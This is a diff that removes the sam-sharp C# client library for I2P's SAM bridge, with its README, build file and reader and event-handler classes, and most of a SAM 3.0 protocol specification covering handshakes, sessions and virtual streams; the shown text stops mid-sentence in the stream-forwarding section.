@ -1,84 +0,0 @@
|
||||
sam-sharp
|
||||
|
||||
|
||||
DESCRIPTION
|
||||
|
||||
sam-sharp is a .NET SAM client library for I2P written in C#. It aims to be
|
||||
compatible with platforms that implement .NET's base class library API (such
|
||||
as Mono and DotGNU Portable.NET) and to be usable from all languages
|
||||
conforming to the ECMA-standardized Common Language Infrastructure, including
|
||||
C# and VB.NET.
|
||||
|
||||
|
||||
MINIMUM REQUIREMENTS
|
||||
|
||||
* Mono and mcs 1.0 or higher (Linux, Mac OS X, Windows)
|
||||
|
||||
- or -
|
||||
|
||||
MS .NET Framework SDK 1.0 or higher (Windows)
|
||||
|
||||
- or -
|
||||
|
||||
DotGNU Portable .NET, latest version recommended (*BSD, AIX, Cygwin, Linux,
|
||||
Mac OS X, MinGW, Solaris)
|
||||
|
||||
|
||||
OPTIONAL REQUIREMENTS
|
||||
|
||||
* NAnt 0.85 or higher is needed to use sam-sharp.build. Sorry, NAnt does not
|
||||
yet support Portable.NET.
|
||||
|
||||
* NUnit 2.2.1 or later is needed to run the (soon-to-be-added) unit tests. If
|
||||
you have the Mono mcs package installed then you already have NUnit.
|
||||
|
||||
|
||||
DOCUMENTATION
|
||||
|
||||
Pre-generated docs will be submitted to CVS soon. In the meantime you may
|
||||
generate standalone documentation from the embedded XML doc comments by
|
||||
issuing the following commands from sam-sharp's src/ directory:
|
||||
|
||||
Mono:
|
||||
|
||||
mkdir ../doc
|
||||
mcs -doc:../doc/sam-sharp_doc.xml *.cs
|
||||
|
||||
MS .NET:
|
||||
|
||||
mkdir ../doc
|
||||
csc /doc:../doc/sam-sharp_doc.xml *.cs
|
||||
|
||||
DotGNU Portable.NET:
|
||||
|
||||
mkdir ../doc
|
||||
csdoc -o ../doc/sam-sharp_doc.xml *.cs
|
||||
|
||||
The resulting XML doc can be converted to HTML using either Visual Studio .NET
|
||||
(Tools > Build Comment Web Pages) or Portable.NET's csdoc2html tool:
|
||||
|
||||
csdoc2html -o ../doc ../doc/sam-sharp_doc.xml
|
||||
|
||||
|
||||
ACKNOWLEDGMENTS
|
||||
|
||||
sam-sharp is a port of jrandom's public domain Java SAM client library.
|
||||
|
||||
|
||||
LICENSE
|
||||
|
||||
This work is released into the public domain.
|
||||
|
||||
|
||||
AUTHORS
|
||||
|
||||
jrandom (original Java SAM client library)
|
||||
smeghead (C# port of the Java SAM client library)
|
||||
|
||||
|
||||
MAINTAINERS
|
||||
|
||||
smeghead <smeghead@i2pmail.org> <smeghead@mail.i2p>
|
||||
|
||||
|
||||
$Id: README,v 1.1 2005/01/24 17:42:05 smeghead Exp $
|
@ -1,19 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
<project basedir="." default="bin" name="sam-sharp">
|
||||
|
||||
<target name="bin" description="Builds assemblies from source">
|
||||
<mkdir dir="bin" />
|
||||
<csc target="library" output="bin/sam-sharp.dll">
|
||||
<sources>
|
||||
<include name="src/**/*.cs" />
|
||||
</sources>
|
||||
</csc>
|
||||
<echo message="Build complete." />
|
||||
</target>
|
||||
|
||||
<target name="clean" description="Deletes all built assemblies">
|
||||
<delete dir="bin" failonerror="false" />
|
||||
<echo message="Clean complete." />
|
||||
</target>
|
||||
|
||||
</project>
|
@ -1,32 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
// Information about this assembly is defined by the following
|
||||
// attributes.
|
||||
//
|
||||
// change them to the information which is associated with the assembly
|
||||
// you compile.
|
||||
|
||||
[assembly: AssemblyTitle("sam-sharp")]
|
||||
[assembly: AssemblyDescription("Mono/.NET SAM client for I2P")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("sam-sharp")]
|
||||
[assembly: AssemblyCopyright("Released into the Public Domain")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// The assembly version has following format :
|
||||
//
|
||||
// Major.Minor.Build.Revision
|
||||
//
|
||||
// You can specify all values by your own or you can build default build and revision
|
||||
// numbers with the '*' character (the default):
|
||||
|
||||
[assembly: AssemblyVersion("0.1")]
|
||||
|
||||
// The following attributes specify the key for the sign of your assembly. See the
|
||||
// .NET Framework documentation for more information about signing.
|
||||
// This is not required, if you don't want signing let these attributes like they're.
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyKeyFile("")]
|
@ -1,160 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Specialized;
|
||||
using System.Threading;
|
||||
|
||||
namespace I2P.SAM.Client
|
||||
{
|
||||
/// <summary>
|
||||
/// Optional base class providing basic SAM event handling and helper
|
||||
/// methods.
|
||||
/// </summary>
|
||||
public class SamBaseEventHandler
|
||||
{
|
||||
private object _helloLock = new Object();
|
||||
private string _helloOk;
|
||||
private NameValueCollection _namingReplies = new NameValueCollection();
|
||||
private object _namingReplyLock = new Object();
|
||||
private SamReader _samReader;
|
||||
private object _sessionCreateLock = new Object();
|
||||
private string _sessionCreateOk;
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new <c>SamBaseEventHandler</c> instance and registers
|
||||
/// overridable handler methods for all events generated by the given
|
||||
/// <see cref="SamReader">SamReader</see>.
|
||||
/// </summary>
|
||||
public SamBaseEventHandler(SamReader samReader) {
|
||||
_samReader = samReader;
|
||||
_samReader.DestReplyReceived += new DestReplyReceivedHandler(OnDestReplyReceived);
|
||||
_samReader.HelloReplyReceived += new HelloReplyReceivedHandler(OnHelloReplyReceived);
|
||||
_samReader.NamingReplyReceived += new NamingReplyReceivedHandler(OnNamingReplyReceived);
|
||||
_samReader.SessionStatusReceived += new SessionStatusReceivedHandler(OnSessionStatusReceived);
|
||||
_samReader.StreamClosedReceived += new StreamClosedReceivedHandler(OnStreamClosedReceived);
|
||||
_samReader.StreamConnectedReceived += new StreamConnectedReceivedHandler(OnStreamConnectedReceived);
|
||||
_samReader.StreamDataReceived += new StreamDataReceivedHandler(OnStreamDataReceived);
|
||||
_samReader.StreamStatusReceived += new StreamStatusReceivedHandler(OnStreamStatusReceived);
|
||||
_samReader.UnknownMessageReceived += new UnknownMessageReceivedHandler(OnUnknownMessageReceived);
|
||||
}
|
||||
|
||||
public virtual void OnDestReplyReceived(string publicKey, string privateKey) {
|
||||
}
|
||||
|
||||
public virtual void OnHelloReplyReceived(bool ok) {
|
||||
lock (_helloLock) {
|
||||
if (ok)
|
||||
_helloOk = Boolean.TrueString;
|
||||
else
|
||||
_helloOk = Boolean.FalseString;
|
||||
|
||||
Monitor.PulseAll(_helloLock);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void OnNamingReplyReceived(string name, string result, string valueString, string message) {
|
||||
lock (_namingReplyLock) {
|
||||
if (result.Equals(SamBridgeMessages.NAMING_REPLY_OK))
|
||||
_namingReplies.Add(name, valueString);
|
||||
else
|
||||
_namingReplies.Add(name, result);
|
||||
|
||||
Monitor.PulseAll(_namingReplyLock);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void OnSessionStatusReceived(string result, string destination, string message) {
|
||||
lock (_sessionCreateLock) {
|
||||
if (result.Equals(SamBridgeMessages.SESSION_STATUS_OK))
|
||||
_sessionCreateOk = Boolean.TrueString;
|
||||
else
|
||||
_sessionCreateOk = Boolean.FalseString;
|
||||
|
||||
Monitor.PulseAll(_sessionCreateLock);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void OnStreamClosedReceived(string result, int id, string message) {
|
||||
}
|
||||
|
||||
public virtual void OnStreamConnectedReceived(string remoteDestination, int id) {
|
||||
}
|
||||
|
||||
public virtual void OnStreamDataReceived(int id, byte[] data, int offset, int length) {
|
||||
}
|
||||
|
||||
public virtual void OnStreamStatusReceived(string result, int id, string message) {
|
||||
}
|
||||
|
||||
public virtual void OnUnknownMessageReceived(string major, string minor, NameValueCollection parameters) {
|
||||
Console.WriteLine("wrt, [" + major + "] [" + minor + "] [" + parameters + "]");
|
||||
}
|
||||
|
||||
// Helper methods below.
|
||||
|
||||
/// <summary>
|
||||
/// Waits for a SAM connection to be established.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This method blocks until the connection is established.
|
||||
/// </remarks>
|
||||
/// <returns><c>true</c> if the handshake was successful.</returns>
|
||||
public virtual bool WaitForHelloReply() {
|
||||
while (true) {
|
||||
lock (_helloLock) {
|
||||
if (_helloOk == null)
|
||||
Monitor.Wait(_helloLock);
|
||||
else
|
||||
return Boolean.Parse(_helloOk);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Waits for a SAM naming reply message.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This method blocks until all naming replies are received.
|
||||
/// </remarks>
|
||||
/// <param name="name">The name to be looked for, or <c>ME</c>.</param>
|
||||
/// <returns>The matching destination for <c>name</c>, or <c>null</c> if
|
||||
/// the key was not able to be retrieved.</returns>
|
||||
public virtual string WaitForNamingReply(string name) {
|
||||
while (true) {
|
||||
lock (_namingReplyLock) {
|
||||
try {
|
||||
string valueString = _namingReplies[name];
|
||||
_namingReplies.Remove(name);
|
||||
|
||||
if (valueString.Equals(SamBridgeMessages.NAMING_REPLY_INVALID_KEY))
|
||||
return null;
|
||||
else if (valueString.Equals(SamBridgeMessages.NAMING_REPLY_KEY_NOT_FOUND))
|
||||
return null;
|
||||
else
|
||||
return valueString;
|
||||
|
||||
} catch (ArgumentNullException ane) {
|
||||
Monitor.Wait(_namingReplyLock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Waits for a SAM session to be created.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This method blocks until a SAM session is created.
|
||||
/// </remarks>
|
||||
/// <returns><c>true</c> if the SAM session was created successfully.
|
||||
// </returns>
|
||||
public virtual bool WaitForSessionCreateReply() {
|
||||
while (true) {
|
||||
lock (_sessionCreateLock) {
|
||||
if (_sessionCreateOk == null)
|
||||
Monitor.Wait(_sessionCreateLock);
|
||||
else
|
||||
return Boolean.Parse(_sessionCreateOk);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
namespace I2P.SAM.Client
|
||||
{
|
||||
public struct SamBridgeMessages
|
||||
{
|
||||
public const string NAMING_REPLY_INVALID_KEY = "INVALID_KEY";
|
||||
public const string NAMING_REPLY_KEY_NOT_FOUND = "KEY_NOT_FOUND";
|
||||
public const string NAMING_REPLY_OK = "OK";
|
||||
|
||||
public const string SESSION_STATUS_DUPLICATE_DEST = "DUPLICATE_DEST";
|
||||
public const string SESSION_STATUS_I2P_ERROR = "I2P_ERROR";
|
||||
public const string SESSION_STATUS_INVALID_KEY = "INVALID_KEY";
|
||||
public const string SESSION_STATUS_OK = "OK";
|
||||
|
||||
public const string STREAM_CLOSED_CANT_REACH_PEER = "CANT_REACH_PEER";
|
||||
public const string STREAM_CLOSED_I2P_ERROR = "I2P_ERROR";
|
||||
public const string STREAM_CLOSED_PEER_NOT_FOUND = "PEER_NOT_FOUND";
|
||||
public const string STREAM_CLOSED_TIMEOUT = "CLOSED";
|
||||
public const string STREAM_CLOSED_OK = "OK";
|
||||
|
||||
public const string STREAM_STATUS_CANT_REACH_PEER = "CANT_REACH_PEER";
|
||||
public const string STREAM_STATUS_I2P_ERROR = "I2P_ERROR";
|
||||
public const string STREAM_STATUS_INVALID_KEY = "INVALID_KEY";
|
||||
public const string STREAM_STATUS_TIMEOUT = "TIMEOUT";
|
||||
public const string STREAM_STATUS_OK = "OK";
|
||||
}
|
||||
}
|
@ -1,278 +0,0 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Specialized;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace I2P.SAM.Client
|
||||
{
|
||||
public delegate void DestReplyReceivedHandler(string publicKey, string privateKey);
|
||||
public delegate void HelloReplyReceivedHandler(bool ok);
|
||||
public delegate void NamingReplyReceivedHandler(string name, string result, string valueString, string message);
|
||||
public delegate void SessionStatusReceivedHandler(string result, string destination, string message);
|
||||
public delegate void StreamClosedReceivedHandler(string result, int id, string message);
|
||||
public delegate void StreamConnectedReceivedHandler(string remoteDestination, int id);
|
||||
public delegate void StreamDataReceivedHandler(int id, byte[] data, int offset, int length);
|
||||
public delegate void StreamStatusReceivedHandler(string result, int id, string message);
|
||||
public delegate void UnknownMessageReceivedHandler(string major, string minor, NameValueCollection parameters);
|
||||
|
||||
/// <summary>
|
||||
/// Reads from a socket stream, producing events for any SAM message read.
|
||||
/// </summary>
|
||||
public class SamReader
|
||||
{
|
||||
public event DestReplyReceivedHandler DestReplyReceived;
|
||||
public event HelloReplyReceivedHandler HelloReplyReceived;
|
||||
public event NamingReplyReceivedHandler NamingReplyReceived;
|
||||
public event SessionStatusReceivedHandler SessionStatusReceived;
|
||||
public event StreamClosedReceivedHandler StreamClosedReceived;
|
||||
public event StreamConnectedReceivedHandler StreamConnectedReceived;
|
||||
public event StreamDataReceivedHandler StreamDataReceived;
|
||||
public event StreamStatusReceivedHandler StreamStatusReceived;
|
||||
public event UnknownMessageReceivedHandler UnknownMessageReceived;
|
||||
|
||||
private bool _isLive;
|
||||
private NetworkStream _samStream;
|
||||
private StreamReader _samStreamReader;
|
||||
|
||||
public SamReader(NetworkStream samStream) {
|
||||
_samStream = samStream;
|
||||
}
|
||||
|
||||
public void RunThread() {
|
||||
|
||||
NameValueCollection parameters = new NameValueCollection();
|
||||
|
||||
while (_isLive) {
|
||||
|
||||
string line = null;
|
||||
|
||||
_samStreamReader = new StreamReader(_samStream);
|
||||
|
||||
try {
|
||||
line = _samStreamReader.ReadLine();
|
||||
_samStreamReader.Close();
|
||||
} catch (IOException ioe) {
|
||||
Console.Error.WriteLine("Error reading from SAM: {1}", ioe);
|
||||
} catch (OutOfMemoryException oome) {
|
||||
Console.Error.WriteLine("Out of memory while reading from SAM: {1}", oome);
|
||||
return;
|
||||
}
|
||||
|
||||
if (line == null) {
|
||||
break;
|
||||
}
|
||||
|
||||
string[] tokens = line.Split(new char[1] { ' ' });
|
||||
|
||||
if (tokens.Length < 2) {
|
||||
Console.Error.WriteLine("Invalid SAM line: [" + line + "]");
|
||||
_isLive = false;
|
||||
return;
|
||||
}
|
||||
|
||||
IEnumerator tokensEnumerator = tokens.GetEnumerator();
|
||||
tokensEnumerator.MoveNext();
|
||||
string major = (string) tokensEnumerator.Current;
|
||||
tokensEnumerator.MoveNext();
|
||||
string minor = (string) tokensEnumerator.Current;
|
||||
|
||||
parameters.Clear();
|
||||
|
||||
while (tokensEnumerator.MoveNext()) {
|
||||
|
||||
string pair = (string) tokensEnumerator.Current;
|
||||
int equalsPosition = pair.IndexOf('=');
|
||||
|
||||
if ( (equalsPosition > 0) && (equalsPosition < pair.Length - 1) ) {
|
||||
|
||||
string name = pair.Substring(0, equalsPosition);
|
||||
string valueString = pair.Substring(equalsPosition + 1);
|
||||
|
||||
while ( (valueString[0] == '\"') && (valueString.Length > 0) )
|
||||
valueString = valueString.Substring(1);
|
||||
|
||||
while ( (valueString.Length > 0) && (valueString[valueString.Length - 1] == '\"') )
|
||||
valueString = valueString.Substring(0, valueString.Length - 1);
|
||||
|
||||
parameters.Set(name, valueString);
|
||||
}
|
||||
}
|
||||
|
||||
ProcessEvent(major, minor, parameters);
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessEvent(string major, string minor, NameValueCollection parameters) {
|
||||
|
||||
switch (major)
|
||||
{
|
||||
case "HELLO" :
|
||||
|
||||
if (minor.Equals("REPLY")) {
|
||||
|
||||
string result = parameters.Get("RESULT");
|
||||
|
||||
if (result.Equals("OK"))
|
||||
HelloReplyReceived(true);
|
||||
else
|
||||
HelloReplyReceived(false);
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case "SESSION" :
|
||||
|
||||
if (minor.Equals("STATUS")) {
|
||||
|
||||
string result = parameters.Get("RESULT");
|
||||
string destination = parameters.Get("DESTINATION");
|
||||
string message = parameters.Get("MESSAGE");
|
||||
|
||||
SessionStatusReceived(result, destination, message);
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case "STREAM" :
|
||||
|
||||
ProcessStream(major, minor, parameters);
|
||||
break;
|
||||
|
||||
case "NAMING" :
|
||||
|
||||
if (minor.Equals("REPLY")) {
|
||||
|
||||
string name = parameters.Get("NAME");
|
||||
string result = parameters.Get("RESULT");
|
||||
string valueString = parameters.Get("VALUE");
|
||||
string message = parameters.Get("MESSAGE");
|
||||
|
||||
NamingReplyReceived(name, result, valueString, message);
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case "DEST" :
|
||||
|
||||
if (minor.Equals("REPLY")) {
|
||||
|
||||
string pub = parameters.Get("PUB");
|
||||
string priv = parameters.Get("PRIV");
|
||||
|
||||
DestReplyReceived(pub, priv);
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
default :
|
||||
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessStream(string major, string minor, NameValueCollection parameters) {
|
||||
|
||||
/*
|
||||
* Would use another tidy switch() statement here but the Mono
|
||||
* compiler presently gets variable scopes confused within nested
|
||||
* switch() contexts. Nested switch() is broken with Mono/mcs 1.0.5,
|
||||
* 1.1.3, and SVN head.
|
||||
*/
|
||||
if (minor.Equals("STATUS")) {
|
||||
|
||||
string result = parameters.Get("RESULT");
|
||||
string id = parameters.Get("ID");
|
||||
string message = parameters.Get("MESSAGE");
|
||||
|
||||
try {
|
||||
StreamStatusReceived(result, Int32.Parse(id), message);
|
||||
} catch {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
} else if (minor.Equals("CONNECTED")) {
|
||||
|
||||
string destination = parameters.Get("DESTINATION");
|
||||
string id = parameters.Get("ID");
|
||||
|
||||
try {
|
||||
StreamConnectedReceived(destination, Int32.Parse(id));
|
||||
} catch {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
} else if (minor.Equals("CLOSED")) {
|
||||
|
||||
string result = parameters.Get("RESULT");
|
||||
string id = parameters.Get("ID");
|
||||
string message = parameters.Get("MESSAGE");
|
||||
|
||||
try {
|
||||
StreamClosedReceived(result, Int32.Parse(id), message);
|
||||
} catch {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
|
||||
} else if (minor.Equals("RECEIVED")) {
|
||||
|
||||
string id = parameters.Get("ID");
|
||||
string size = parameters.Get("SIZE");
|
||||
|
||||
if (id != null) {
|
||||
try {
|
||||
|
||||
int idValue = Int32.Parse(id);
|
||||
int sizeValue = Int32.Parse(size);
|
||||
byte[] data = new byte[sizeValue];
|
||||
int bytesRead;
|
||||
|
||||
try {
|
||||
bytesRead = _samStream.Read(data, 0, sizeValue);
|
||||
|
||||
if (bytesRead != sizeValue) {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
return;
|
||||
}
|
||||
} catch {
|
||||
_isLive = false;
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
return;
|
||||
}
|
||||
|
||||
StreamDataReceived(idValue, data, 0, sizeValue);
|
||||
} catch (FormatException fe) {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
} else {
|
||||
UnknownMessageReceived(major, minor, parameters);
|
||||
}
|
||||
}
|
||||
|
||||
public void StartReading() {
|
||||
_isLive = true;
|
||||
ThreadStart threadStart = new ThreadStart(RunThread);
|
||||
Thread thread = new Thread(threadStart);
|
||||
thread.Name = "SAM Reader";
|
||||
thread.Start();
|
||||
}
|
||||
|
||||
public void StopReading() {
|
||||
_isLive = false;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,487 +1,3 @@
|
||||
----------------------------------------------------------------------
|
||||
Simple Anonymous Messaging (SAM version 3.0)
|
||||
----------------------------------------------------------------------
|
||||
Client application talks to SAM bridge, which deals with
|
||||
all of the I2P functionality (using the ministreaming
|
||||
lib for virtual streams, or I2CP directly for async messages).
|
||||
|
||||
All client<-->SAM bridge communication is unencrypted and
|
||||
unauthenticated. Access to the SAM
|
||||
bridge should be protected through firewalls or other means
|
||||
(perhaps the bridge may have ACLs on what IPs it accepts
|
||||
connections from).
|
||||
|
||||
All of these SAM messages are sent on a single line in plain ASCII,
|
||||
terminated by the newline character (\n). The formatting shown
|
||||
below is merely for readability, and while the first two words in
|
||||
each message must stay in their specific order, the ordering of
|
||||
the key=value pairs can change (e.g. "ONE TWO A=B C=D" or
|
||||
"ONE TWO C=D A=B" are both perfectly valid constructions). In
|
||||
addition, the protocol is case-sensitive.
|
||||
In the following, message examples are preceded by "-> " for
|
||||
messages sent by the client to the SAM bridge, and by "<- " for
|
||||
messages sent by the SAM bridge to the client.
|
||||
|
||||
I2P communications can take three distinct forms:
|
||||
* Virtual streams
|
||||
* Repliable datagrams (messages with a FROM field)
|
||||
* Anonymous datagrams (raw anonymous messages)
|
||||
|
||||
I2P communications are supported by I2P sessions, and each I2P
|
||||
session is bound to an address (called destination). An I2P session
|
||||
is associated with one of the three types above, and cannot carry
|
||||
communications of another type.
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM connection handshake
|
||||
----------------------------------------------------------------------
|
||||
No SAM communication can occur until after the client and bridge have
|
||||
agreed on a protocol version, which is done by the client sending
|
||||
a HELLO and the bridge sending a HELLO REPLY:
|
||||
|
||||
-> HELLO VERSION MIN=$min MAX=$max
|
||||
|
||||
and
|
||||
|
||||
<- HELLO REPLY RESULT=OK VERSION=3.0
|
||||
|
||||
*** In order to force protocol version 3.0, the values of $min and $max
|
||||
*** must be "3.0".
|
||||
|
||||
If the SAM bridge cannot find a suitable version, it replies with :
|
||||
|
||||
<- HELLO REPLY RESULT=NOVERSION
|
||||
|
||||
If some error occurred, such as a bad request format, it replies with :
|
||||
|
||||
<- HELLO REPLY RESULT=I2P_ERROR MESSAGE={$message}
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM sessions
|
||||
----------------------------------------------------------------------
|
||||
A SAM session is created by a client opening a socket to the SAM
|
||||
bridge, operating a handshake, and sending a SESSION CREATE message,
|
||||
and the session terminates when the socket is disconnected.
|
||||
|
||||
Each registered I2P Destination is uniquely associated with a session ID
|
||||
(or nickname).
|
||||
|
||||
Each session is uniquely associated with :
|
||||
* the socket from which the client creates the session
|
||||
* its ID (or nickname)
|
||||
|
||||
The session creation message can only use one of these forms (messages
|
||||
received through other forms are answered with an error message) :
|
||||
|
||||
-> SESSION CREATE
|
||||
STYLE={STREAM,DATAGRAM,RAW}
|
||||
ID={$nickname}
|
||||
DESTINATION={$private_destination_key,TRANSIENT}
|
||||
[option=value]*
|
||||
|
||||
DESTINATION specifies what destination should be used for
|
||||
sending and receiving messages/streams. It has to be a suitable
|
||||
private base64 destination key. If the destination is
|
||||
specified as TRANSIENT, the SAM bridge creates a new destination.
|
||||
|
||||
{$nickname} is the choice of the client. No whitespace is allowed.
|
||||
|
||||
Additional options given are passed to the I2P session
|
||||
configuration if not interpreted by the SAM bridge (e.g.
|
||||
outbound.length=0). These options are documented below.
|
||||
|
||||
The SAM bridge itself should already be configured with what router
|
||||
it should communicate over I2P through (though if need be there may
|
||||
be a way to provide an override, e.g. i2cp.tcp.host=localhost and
|
||||
i2cp.tcp.port=7654).
|
||||
|
||||
After receiving the session create message, the SAM bridge will reply
|
||||
with a session status message, as follows:
|
||||
|
||||
If the creation was successful :
|
||||
<- SESSION STATUS RESULT=OK DESTINATION={$private_destination_key}
|
||||
|
||||
If the nickname is already associated with a session :
|
||||
<- SESSION STATUS RESULT=DUPLICATED_ID
|
||||
|
||||
If the destination is already in use :
|
||||
<- SESSION STATUS RESULT=DUPLICATED_DEST
|
||||
|
||||
If the destination is not a valid private destination key :
|
||||
<- SESSION STATUS RESULT=INVALID_KEY
|
||||
|
||||
If some other error has occurred :
|
||||
<- SESSION STATUS RESULT=I2P_ERROR MESSAGE={$message}
|
||||
|
||||
If it's not OK, the MESSAGE should contain human-readable information
|
||||
as to why the session could not be created.
|
||||
|
||||
|
||||
SAM sessions live and die with the socket they are associated with.
|
||||
When the socket is closed, the session dies, and all communications
|
||||
using the session die at the same time. And the other way round, when
|
||||
the session dies for any reason, the SAM bridge closes the socket.
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM virtual streams
|
||||
----------------------------------------------------------------------
|
||||
Virtual streams are guaranteed to be sent reliably and in order, with
|
||||
failure and success notification as soon as it is available.
|
||||
|
||||
Streams are bidirectional communication sockets between two I2P
|
||||
destinations, but their opening has to be requested by one of them.
|
||||
Hereafter, CONNECT commands are used by the SAM client for such a
|
||||
request. FORWARD / ACCEPT commands are used by the SAM client when
|
||||
he wants to listen to requests coming from other I2P destinations.
|
||||
|
||||
|
||||
-----------------------------
|
||||
SAM virtual streams : CONNECT
|
||||
-----------------------------
|
||||
A client asks for a connection by :
|
||||
* opening a new socket with the SAM bridge
|
||||
* passing the same HELLO handshake as above
|
||||
* sending the connection command :
|
||||
|
||||
-> STREAM CONNECT
|
||||
ID={$nickname}
|
||||
DESTINATION=$peer_public_base64_key
|
||||
[SILENCE={true,false}]
|
||||
|
||||
This establishes a new virtual connection from the local session
|
||||
whose ID is {$nickname} to the specified peer.
|
||||
|
||||
If SILENCE=true is passed, the SAM bridge won't issue any other message
|
||||
on the socket : if the connection fails, the socket will be closed.
|
||||
If the connection succeeds, all remaining data passing through the
|
||||
current socket is forwarded from and to the connected I2P destination
|
||||
peer.
|
||||
|
||||
If SILENCE=false, which is the default value, the SAM bridge sends a
|
||||
last message to its client before forwarding or shutting down the
|
||||
socket :
|
||||
|
||||
<- STREAM STATUS
|
||||
RESULT=$result
|
||||
[MESSAGE=...]
|
||||
|
||||
The RESULT value may be one of:
|
||||
|
||||
OK
|
||||
CANT_REACH_PEER
|
||||
I2P_ERROR
|
||||
INVALID_KEY
|
||||
INVALID_ID
|
||||
TIMEOUT
|
||||
|
||||
If the RESULT is OK, all remaining data passing through the
|
||||
current socket is forwarded from and to the connected I2P destination
|
||||
peer. If the connection was not possible (timeout, etc),
|
||||
RESULT will contain the appropriate error value (accompanied by an
|
||||
optional human-readable MESSAGE), and the SAM bridge closes the
|
||||
socket.
|
||||
|
||||
----------------------------
|
||||
SAM virtual streams : ACCEPT
|
||||
----------------------------
|
||||
|
||||
A client waits for an incoming connection request by :
|
||||
* opening a new socket with the SAM bridge
|
||||
* passing the same HELLO handshake as above
|
||||
* sending the accept command :
|
||||
|
||||
-> STREAM ACCEPT
|
||||
ID={$nickname}
|
||||
[SILENCE={true,false}]
|
||||
|
||||
This makes the session ${nickname} listen for one incoming
|
||||
connection request from the I2P network.
|
||||
|
||||
The SAM bridge answers with :
|
||||
|
||||
<- STREAM STATUS
|
||||
RESULT=$result
|
||||
[MESSAGE=...]
|
||||
|
||||
The RESULT value may be one of:
|
||||
|
||||
OK
|
||||
I2P_ERROR
|
||||
INVALID_ID
|
||||
|
||||
If the result is not OK, the socket is closed immediately by the SAM
|
||||
bridge. If the result is OK, the SAM bridge starts waiting for an
|
||||
incoming connection request from another I2P peer. When a request
|
||||
arrives, the SAM bridge accepts it and :
|
||||
|
||||
* If SILENCE=true was passed, the SAM bridge won't issue any other message
|
||||
on the client socket : all remaining data passing through the
|
||||
current socket is forwarded from and to the connected I2P destination
|
||||
peer.
|
||||
* If SILENCE=false was passed, which is the default value, the SAM bridge
|
||||
sends the client an ASCII line containing the base64 public destination key
|
||||
of the requesting peer. After this '\n' terminated line, all remaining data
|
||||
passing through the current socket is forwarded from and to the connected
|
||||
I2P destination peer, until one of the peer closes the socket.
|
||||
|
||||
-----------------------------
|
||||
SAM virtual streams : FORWARD
|
||||
-----------------------------
|
||||
|
||||
A client can use a regular socket server and wait for connection requests
|
||||
coming from I2P. For that, the client has to :
|
||||
* open a new socket with the SAM bridge
|
||||
* pass the same HELLO handshake as above
|
||||
* send the forward command :
|
||||
|
||||
-> STREAM FORWARD
|
||||
ID={$nickname}
|
||||
PORT={$port}
|
||||
[HOST={$host}]
|
||||
[SILENCE={true,false}]
|
||||
|
||||
This makes the session ${nickname} listen for incoming
|
||||
connection requests from the I2P network.
|
||||
|
||||
The SAM bridge answers with :
|
||||
|
||||
<- STREAM STATUS
|
||||
RESULT=$result
|
||||
[MESSAGE=...]
|
||||
|
||||
The RESULT value may be one of:
|
||||
|
||||
OK
|
||||
I2P_ERROR
|
||||
INVALID_ID
|
||||
|
||||
* {$host} is the hostname or IP address of the socket server to which
|
||||
SAM will forward connection requests. If not given, SAM takes the IP
|
||||
of the socket that issued the forward command.
|
||||
|
||||
* {$port} is the port number of the socket server to which SAM will
|
||||
forward connection requests. It is mandatory.
|
||||
|
||||
When a connexion request arrives from I2P, the SAM bridge requests a
|
||||
socket connexion from {$host}:{$port}. If it is accepted after no more
|
||||
than 3 seconds, SAM will accept the connexion from I2P, and then :
|
||||
|
||||
* If SILENCE=true was passed, all data passing through the obtained
|
||||
current socket is forwarded from and to the connected I2P destination
|
||||
peer.
|
||||
* If SILENCE=false was passed, which is the default value, the SAM bridge
|
||||
sends on the obtained socket an ASCII line containing the base64 public
|
||||
destination key of the requesting peer. After this '\n' terminated line,
|
||||
all remaining data passing through the socket is forwarded from and to
|
||||
